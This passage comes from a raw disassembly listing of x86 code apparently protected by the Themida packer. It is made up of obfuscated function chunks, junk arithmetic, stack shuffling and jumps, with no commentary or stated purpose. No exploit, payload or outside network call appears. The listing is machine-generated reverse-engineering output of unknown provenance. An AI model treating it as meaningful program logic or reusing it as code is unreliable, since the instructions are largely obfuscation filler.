FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560B67 loc_55FD8F: ; CODE XREF: sub_560B67+509Fj mov esp, [esp+0] mov [esp+0], ebp jmp loc_561E7A ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- loc_55FD9A: ; CODE XREF: Themida_:0056B5B7j mov ecx, [esp] add esp, 4 add ecx, 4 push 4520h mov [esp], edx push esi mov esi, 17180212h add esi, 0E8E7FDF2h mov edx, esi pop esi sub ecx, edx pop edx push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_56F306 ; --------------------------------------------------------------------------- loc_55FDD4: ; CODE XREF: Themida_:0055CF4Cj mov [esp], ebx jmp loc_55E040 ; =============== S U B R O U T I N E ======================================= sub_55FDDC proc near ; CODE XREF: sub_56755A+491Cj var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055E680 SIZE 00000025 BYTES push ebx jmp loc_55E680 sub_55FDDC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E55E loc_55FDE2: ; CODE XREF: sub_56E55E-12529j push ecx mov ecx, 4 add ebx, ecx jmp loc_568BC3 ; END OF FUNCTION CHUNK FOR sub_56E55E ; =============== S U B R O U T I N E ======================================= sub_55FDEF proc near ; CODE XREF: sub_56755A-42CCj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C49D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055D447 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055E8D2 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0055E91B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055EC93 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055EEA4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055EFD9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00560125 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00560D1D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00560FA7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056189A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00561E6C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00562671 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005628FF SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00562FF4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056327B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00568536 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005688F9 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00568960 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00568B5A SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056AD8E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056B021 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056EE0E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056F169 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056F98F SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00570223 SIZE 0000000B BYTES push ebx mov ebx, 13ECC057h xor esi, ebx mov ebx, [esp+4+var_4] add esp, 4 xor eax, esi jmp loc_55EEA4 sub_55FDEF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F13C loc_55FE04: ; CODE XREF: sub_56F13C-9AD9j mov ebx, ecx jmp loc_565561 ; END OF FUNCTION CHUNK FOR sub_56F13C ; --------------------------------------------------------------------------- loc_55FE0B: ; CODE XREF: Themida_:0056A307j push edx mov edx, esp jmp loc_56A9F6 ; =============== S U B R O U T I N E ======================================= sub_55FE13 proc near ; CODE XREF: sub_56CEC8+1E0Ej var_A = dword ptr -0Ah var_6 = dword ptr -6 arg_8 = word ptr 0Ch ; FUNCTION CHUNK AT 0055E006 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0055E9EE SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055F85A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00561E52 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00562971 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005636A1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00563C4E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056450E SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00568557 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00569A7F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056A2A5 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056AA4B SIZE 00000009 BYTES push bx push edx jmp loc_562971 sub_55FE13 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_55FE1B: ; CODE XREF: sub_56F7FC-6617j xor eax, 78BF0CCAh xor eax, 766B142Fh jmp loc_560811 ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55FE2A: ; CODE XREF: sub_56755A-A9CEj mov ebp, 2BE2EF6Ch add edi, ebp mov ebp, [esp+0Ch+var_C] add esp, 4 jmp loc_561DFF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_55FE3C: ; CODE XREF: sub_56E89A-1B4j push esp jmp loc_560CA4 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5702DD loc_55FE42: ; CODE XREF: sub_5702DD+9j push 0 jmp loc_55E3B1 ; END OF FUNCTION CHUNK FOR sub_5702DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55FE4C: ; CODE XREF: sub_56755A+2DA0j add esp, 4 jmp loc_566669 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_55FE57: ; CODE XREF: sub_56E89A-5A3Cj mov [esp+10h+var_10], ebx sub esp, 4 mov [esp+14h+var_14], edx push 36E8122Eh mov edx, [esp+18h+var_18] add esp, 4 push 606Eh mov [esp+18h+var_18], ebx mov ebx, 785A568Ch and edx, ebx jmp loc_563933 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55FE82: ; CODE XREF: sub_56755A+9EDj push 2DEAh mov [esp+8+var_8], edx mov edx, 4055784h jmp loc_567330 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560483 loc_55FE94: ; CODE XREF: sub_560483-172Dj push dword ptr [esp+0] mov ebp, [esp+0] jmp loc_56839F ; END OF FUNCTION CHUNK FOR sub_560483 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5636A9 loc_55FE9F: ; CODE XREF: sub_5636A9+1F1Ej pop esp xor dl, 0EAh add bl, dl mov edx, [esp+4+var_4] push edx mov edx, esp jmp loc_5702C5 ; END OF FUNCTION CHUNK FOR sub_5636A9 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push 52F0h mov [esp], ebx push esp jmp loc_55F449 ; --------------------------------------------------------------------------- loc_55FEC2: ; CODE XREF: Themida_:0055D320j inc ebp dec ebp not ebp jmp loc_56B068 ; --------------------------------------------------------------------------- loc_55FECB: ; CODE XREF: Themida_:00565C59j push ecx mov ch, 0BAh mov dl, ch pop ecx xor dl, bh jmp loc_5625B5 ; --------------------------------------------------------------------------- loc_55FED8: ; CODE XREF: Themida_:0056865Dj pop eax push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi mov esi, esp push ebp push edx jmp loc_5696C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55FEF5: ; CODE XREF: sub_56755A-8CF6j push edx push [esp+2Ah+var_28+2] pop edx pop [esp+2Ah+var_2C+2] jmp loc_55D8E0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B5E8 loc_55FF03: ; CODE XREF: sub_56B5E8+1094j not ecx xchg ecx, edi not edi jmp loc_5665E8 ; END OF FUNCTION CHUNK FOR sub_56B5E8 ; --------------------------------------------------------------------------- loc_55FF0E: ; CODE XREF: Themida_:0056AC34j pop esp mov [esp], ebx jmp loc_55FA49 ; --------------------------------------------------------------------------- mov ax, [esp] push ebx push esp jmp loc_55DB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55FF22: ; CODE XREF: sub_56755A-3F92j add eax, 0F12504Bh sub eax, 7763EC3h sub eax, 1D2214D5h sub eax, edi add eax, 1D2214D5h add eax, 7763EC3h sub eax, 0F12504Bh add eax, 6BE6357Eh pop edi add ebx, 65716077h push 184Dh mov [esp+26h+var_28+2], eax jmp loc_563F2E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55FF5B: ; CODE XREF: Themida_:0055D8FBj pop ebp pop edx add esi, ebp mov ebp, [esp] add esp, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] movsx ecx, al push 473Ah mov [esp], ecx jmp loc_55B555 ; --------------------------------------------------------------------------- loc_55FF87: ; CODE XREF: Themida_:00569916j pop ebx jmp loc_56E671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55FF8D: ; CODE XREF: sub_56755A+257Cj mov esi, 26D47489h and esi, 7F9B53F9h xor esi, eax xor eax, esi xor esi, eax jmp loc_567231 ; --------------------------------------------------------------------------- loc_55FFA3: ; CODE XREF: sub_56755A-454j pop edi push edx sub esp, 4 push esp pop [esp+2Eh+var_30+2] push 13A3h jmp loc_55CCAD ; --------------------------------------------------------------------------- loc_55FFB9: ; CODE XREF: sub_56755A-8E89j pop [esp+2Eh+var_30+2] jmp loc_56E227 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_55FFC1 proc near ; CODE XREF: sub_5687A9-5026j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055CC07 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00564F82 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056A7C6 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056D539 SIZE 00000012 BYTES push ebx mov ebx, 6F1832AFh mov ecx, 6F1832AFh sub ecx, 687E4A02h sub ecx, ebx add ecx, 687E4A02h mov ebx, [esp+4+var_4] jmp loc_56D539 sub_55FFC1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_55FFE2: ; CODE XREF: sub_56CB7D-F674j xor [esp+14h+var_14], 46581AE3h pop ecx xor ecx, 46581AE3h pop edi sub edi, 290816C8h sub edi, 4F2267ABh add edi, ecx loc_55FFFF: ; DATA XREF: Themida_:0057E910o add edi, 4F2267ABh add edi, 290816C8h jmp loc_564E7B ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560010: ; CODE XREF: sub_56755A-935Ej pop esi pop dword ptr [esp+0] jmp loc_569281 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562C5D loc_560019: ; CODE XREF: sub_562C5D+BEE0j sub dl, 0FDh sub bh, dl mov edx, [esp+6+var_6] jmp loc_5684D2 ; END OF FUNCTION CHUNK FOR sub_562C5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560026: ; CODE XREF: sub_56755A+3050j xor eax, 95739DBBh push eax pop ecx push [esp-4+arg_0] mov eax, [esp+0] add esp, 4 add esp, 4 push ebx sub esp, 4 jmp loc_56AC0B ; --------------------------------------------------------------------------- loc_560048: ; CODE XREF: sub_56755A-68F1j xor ebx, [esp+0] xor [esp+0], ebx xor ebx, [esp+0] mov esp, [esp+0] push edi mov edi, esp add edi, 4 push ebp mov ebp, 73BE3213h shr ebp, 4 neg ebp sub ebp, 0F8C41CDBh jmp loc_5607ED ; --------------------------------------------------------------------------- loc_560073: ; CODE XREF: sub_56755A-1372j add edi, ebp pop ebp push 76E8h jmp loc_56A788 ; --------------------------------------------------------------------------- loc_560080: ; CODE XREF: sub_56755A+4649j or eax, eax jz loc_56066E push dword ptr [edi+28h] push esi mov esi, 5ECE1836h xor [esp+10h+var_C], esi pop esi pop eax jmp loc_5624A4 ; --------------------------------------------------------------------------- loc_56009C: ; CODE XREF: sub_56755A-1AC2j pop eax add edx, 2 jmp loc_56BD64 ; --------------------------------------------------------------------------- loc_5600A5: ; CODE XREF: sub_56755A-1424j mov edx, [esp+4+var_4] add esp, 4 sub ebx, esi pop esi push edx push esp pop edx add edx, 4 jmp loc_56E2DD ; --------------------------------------------------------------------------- loc_5600BF: ; CODE XREF: sub_56755A-B17Dj shl esi, 2 xor esi, 50B91290h sub eax, esi pop esi jmp loc_570565 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560DA7 loc_5600D0: ; CODE XREF: sub_560DA7+7A0j sub ebp, 8C613DDCh mov ebx, ebp mov ebp, [esp+8+var_8] push edi push esp jmp loc_56E039 ; END OF FUNCTION CHUNK FOR sub_560DA7 ; =============== S U B R O U T I N E ======================================= sub_5600E2 proc near ; CODE XREF: sub_56755A-4AEBj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055B98C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055F6F4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005629DB SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00563699 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00567392 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056B0F7 SIZE 0000000D BYTES push ebp mov ebp, 4 add edi, 0AC4680Ch add edi, 66C30CA2h add edi, ebp sub edi, 66C30CA2h sub edi, 0AC4680Ch jmp loc_563699 sub_5600E2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_560107: ; CODE XREF: Themida_:0055BFA7j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_567E91 ; --------------------------------------------------------------------------- loc_560115: ; CODE XREF: Themida_:0056ABFAj sub ebp, 14E50483h add eax, ebp mov ebp, [esp] jmp loc_56DB65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_560125: ; CODE XREF: sub_55FDEF+2884j pop edx jmp loc_570223 ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- loc_56012B: ; CODE XREF: Themida_:0055CBB8j add ebx, 983ECBDh add eax, ebx mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub eax, 10351C3Ch push dword ptr [esp] pop ebp add esp, 4 add eax, 4 xchg eax, [esp] jmp loc_56A5F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565996 loc_560162: ; CODE XREF: sub_565996-53F2j add ecx, 4 xchg ecx, [esp+0Ch+var_C] pop esp pop edi push eax mov eax, 667F7760h shl eax, 5 push edi mov edi, 33B504C8h add eax, edi pop edi jmp loc_5603AF ; END OF FUNCTION CHUNK FOR sub_565996 ; =============== S U B R O U T I N E ======================================= sub_560184 proc near ; CODE XREF: sub_56755A-4F4Dj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056D212 SIZE 0000001C BYTES push ebx mov ebx, esp add ebx, 4 jmp loc_56D212 sub_560184 endp ; --------------------------------------------------------------------------- loc_560192: ; CODE XREF: Themida_:00566406j add ecx, edx sub ecx, 6120270h pop edx not ecx or ecx, 104948F1h push esi jmp loc_5670A6 ; --------------------------------------------------------------------------- loc_5601A9: ; CODE XREF: Themida_:0056A032j mov edx, 4 sub eax, 18FC50B9h jmp loc_5614AB ; --------------------------------------------------------------------------- loc_5601B8: ; CODE XREF: Themida_:0056C00Dj push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 add edx, ebx pop ebx xchg edx, [esp] pop esp mov eax, [esp] jmp loc_55E1E3 ; --------------------------------------------------------------------------- loc_5601D6: ; CODE XREF: Themida_:00569EC7j add ecx, 60BD2BC1h pop ebp jmp loc_56213E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5601E2: ; CODE XREF: sub_56755A-3E79j sub esi, ecx pop ecx mov ebp, esi mov esi, [esp+6+var_8+2] jmp loc_5642C7 ; --------------------------------------------------------------------------- loc_5601EF: ; CODE XREF: sub_56755A+7A96j add edi, 0CFF611DFh jmp loc_56AB79 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_5601FA: ; CODE XREF: sub_56F653-13DCj push ecx push ebx jmp loc_56C747 ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560201: ; CODE XREF: sub_56755A-823Fj push edi jmp loc_5652C7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_560207: ; CODE XREF: Themida_:00569520j add ch, 83h shr ch, 3 xor ch, 0DCh push eax mov al, ch jmp loc_56E874 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560218: ; CODE XREF: sub_56755A+52A0j pop edx xor cl, dl xor dl, cl xor cl, dl shr cl, 4 push ebx mov bl, 0A8h jmp loc_56E575 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56022A: ; CODE XREF: Themida_:0056BB72j pop ecx jmp loc_55C8E2 ; --------------------------------------------------------------------------- loc_560230: ; CODE XREF: Themida_:0055C5E2j mov edx, 488735FFh xor edx, 0E6206B2h xor ecx, edx mov edx, [esp] add esp, 4 sub edx, ecx pop ecx sub edx, 78067BEAh push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 4 add ecx, ebp pop ebp xchg ecx, [esp] jmp loc_561308 ; =============== S U B R O U T I N E ======================================= sub_56026A proc near ; CODE XREF: sub_565996+1275j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0055C16B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055CEC6 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055D3B0 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 0055EB7D SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0055FB60 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00560557 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00561465 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00564B18 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00565EEA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005660F3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00566BD7 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056712A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056A08D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056B8C7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056D530 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056E8E6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056FBD9 SIZE 0000000E BYTES sub esp, 4 mov [esp+10h+var_10], esi push edx mov edx, 0E585CB49h mov esi, edx pop edx sub ebp, 0FC012B5h add ebp, esi add ebp, 0FC012B5h pop esi jmp loc_55CEC6 sub_56026A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_560290: ; CODE XREF: sub_566504+3CDj pop ebx push ecx mov ecx, edi jmp loc_56BD8E ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB1B loc_560299: ; CODE XREF: sub_56CB1B-B18Dj xor ebx, [esp+8+var_8] pop esp push edx push 408A3F53h pop edx not edx inc edx push edi mov edi, 722F6246h jmp loc_561601 ; END OF FUNCTION CHUNK FOR sub_56CB1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5602B2: ; CODE XREF: sub_56755A+2BE4j push esp pop ebp push 7698h mov [esp+16h+var_18+2], edi mov edi, 24831C4Fh push edx mov edx, 0DB7CE3B5h sub edi, 32EC16CDh add edi, 1B231112h add edi, edx sub edi, 1B231112h jmp loc_5663B6 ; --------------------------------------------------------------------------- loc_5602E0: ; CODE XREF: sub_56755A-A432j add edi, 4 push ecx jmp loc_56DA2B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5602EC: ; CODE XREF: Themida_:0055C843j mov esi, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_562B9A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5602FA: ; CODE XREF: sub_56755A-54C1j xchg edx, [esp+24h+var_24] jmp loc_56726B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_560302: ; CODE XREF: Themida_:00561980j pop esp mul cx push small 2ED7h mov [esp], dx jmp loc_561A13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560313: ; CODE XREF: sub_56755A+5204j add eax, 7165341Bh jmp loc_56D783 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568470 loc_56031D: ; CODE XREF: sub_568470+Aj add esp, 4 shl ebx, 2 xor ebx, 0A379D518h mov esi, ebx jmp loc_55F3CB ; END OF FUNCTION CHUNK FOR sub_568470 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560333: ; CODE XREF: sub_56755A-253Aj mov [esp+24h+var_24], ecx mov ecx, 7B077762h push 2C23h mov [esp+28h+var_28], ebp mov ebp, 7B077764h jmp loc_56EE40 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_56034D: ; CODE XREF: sub_55CD7B+121D2j push esi not [esp+8+var_8] pop esi jmp loc_56A150 ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563973 loc_560357: ; CODE XREF: sub_563973-1EE5j shr ebx, 2 neg ebx shl ebx, 7 jmp loc_55F48A ; END OF FUNCTION CHUNK FOR sub_563973 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_560364: ; CODE XREF: sub_56CB7D-EDF3j pop esp sub esp, 4 mov [esp+0Ch+var_C], edi push 43B4h mov [esp+10h+var_10], edx push 712F4AF0h jmp loc_55D1A8 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- loc_560380: ; CODE XREF: Themida_:00566D3Fj pop ebp add esp, 4 pop dword ptr [esp] pop esp add ebx, edi mov [ebx], eax push dword ptr [esp] pop ebx add esp, 4 mov eax, [esp] push eax push esp jmp loc_567ABB ; --------------------------------------------------------------------------- loc_56039D: ; CODE XREF: Themida_:005644F8j pop edi pop ebp push edx push ecx push 7A7D6D42h pop ecx shl ecx, 4 jmp loc_562819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565996 loc_5603AF: ; CODE XREF: sub_565996-5817j push esi mov esi, 6DEF46E5h or esi, 36576A39h neg esi inc esi jmp loc_55BCAA ; END OF FUNCTION CHUNK FOR sub_565996 ; --------------------------------------------------------------------------- loc_5603C3: ; CODE XREF: Themida_:0056F417j mov [esp], ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_55E271 ; --------------------------------------------------------------------------- loc_5603D9: ; CODE XREF: Themida_:00561F6Aj mov esi, 1CB61335h add ebp, esi pop esi mov ebx, [esp] add esp, 4 mov ebx, 331B6141h sub ebx, ebp push dword ptr [esp] jmp loc_563E2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E99C loc_5603F6: ; CODE XREF: sub_55E99C+1j mov ebp, 46041DD2h jmp loc_56BE1D ; END OF FUNCTION CHUNK FOR sub_55E99C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560400: ; CODE XREF: sub_56755A+416j neg esi jmp loc_56055E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_560407: ; CODE XREF: Themida_:005667D8j push ebp push edi push 44505DF3h pop edi shr edi, 4 sub esp, 4 mov [esp], ebp mov ebp, 624E7AE5h add ebp, 306057FEh shl ebp, 3 jmp loc_562799 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56042B: ; CODE XREF: sub_56755A-BDF5j or eax, 5F6332D3h add eax, 1 push ebp jmp loc_56E6EB ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_560439: ; CODE XREF: Themida_:0055E733j mov [esp], edx push 3FD7h jmp loc_56888D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_560446: ; CODE XREF: sub_5635DE+C219j mov eax, 6382271Ah mov edx, 6382273Eh jmp loc_56D61F ; END OF FUNCTION CHUNK FOR sub_5635DE ; --------------------------------------------------------------------------- loc_560455: ; CODE XREF: Themida_:0055DF27j mov ecx, [esp] jmp loc_566DB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E931 loc_56045D: ; CODE XREF: sub_55E931+ADCAj mov ebp, 7B1512CDh or ebp, 3D3A6D26h jmp loc_56802E ; END OF FUNCTION CHUNK FOR sub_55E931 ; --------------------------------------------------------------------------- loc_56046D: ; CODE XREF: Themida_:005652B4j add esi, 4 sub esi, 4 jmp loc_567FF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565269 loc_56047B: ; CODE XREF: sub_565269+E85j shr edx, 6 jmp loc_560EA6 ; END OF FUNCTION CHUNK FOR sub_565269 ; =============== S U B R O U T I N E ======================================= sub_560483 proc near ; CODE XREF: sub_55EC76+EAA5j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055C53A SIZE 00000032 BYTES ; FUNCTION CHUNK AT 0055ED4B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055FE94 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00561E2F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056287E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056624E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056839F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056AF46 SIZE 00000017 BYTES push ebx mov ebx, 54471FA1h dec ebx add ebx, 14DF501Fh jmp loc_56AF46 sub_560483 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_560495: ; CODE XREF: Themida_:0056C233j xor ecx, [esp] jmp loc_55FC6C ; --------------------------------------------------------------------------- loc_56049D: ; CODE XREF: Themida_:0055CA78j shr edi, 1 sub edi, 0FA880123h add eax, 52950808h add eax, edi jmp loc_565D7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5604B1: ; CODE XREF: sub_56755A-A4ECj mov [esp+18h+var_18], ebp mov ebp, 3E8D1929h add edi, ebp pop ebp jmp loc_569177 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5604C1: ; CODE XREF: Themida_:00568B90j add esi, edx jmp loc_56C8E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5604C8: ; CODE XREF: sub_56755A+7D30j not ecx push ebp jmp loc_5702A0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5604D0: ; CODE XREF: Themida_:00568B29j sub ecx, 4FE52B91h jmp loc_56EDEE ; --------------------------------------------------------------------------- loc_5604DB: ; CODE XREF: Themida_:00562CC5j mov [esp], ebx jmp loc_55EE06 ; --------------------------------------------------------------------------- loc_5604E3: ; CODE XREF: Themida_:00565FD2j pop edx sub cl, 4Ah mov edx, [esp] push ebx push esp pop ebx add ebx, 4 add ebx, 4 jmp loc_56B284 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5615A9 loc_5604FE: ; CODE XREF: sub_5615A9+E7E5j add bh, 0BBh mov ecx, [esp] add esp, 4 shr bh, 7 push small 0 sub byte ptr [esp-6+arg_2], bh mov bh, byte ptr [esp-6+arg_2] jmp loc_56A8E9 ; END OF FUNCTION CHUNK FOR sub_5615A9 ; --------------------------------------------------------------------------- jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56051E: ; CODE XREF: Themida_:0056F636j push esi push 1134h mov [esp], edi mov edi, 39814119h add edi, 5AF13ED3h or edi, 5BA4544Fh push edi dec dword ptr [esp] pop edi sub edi, 41362DA2h jmp loc_56F172 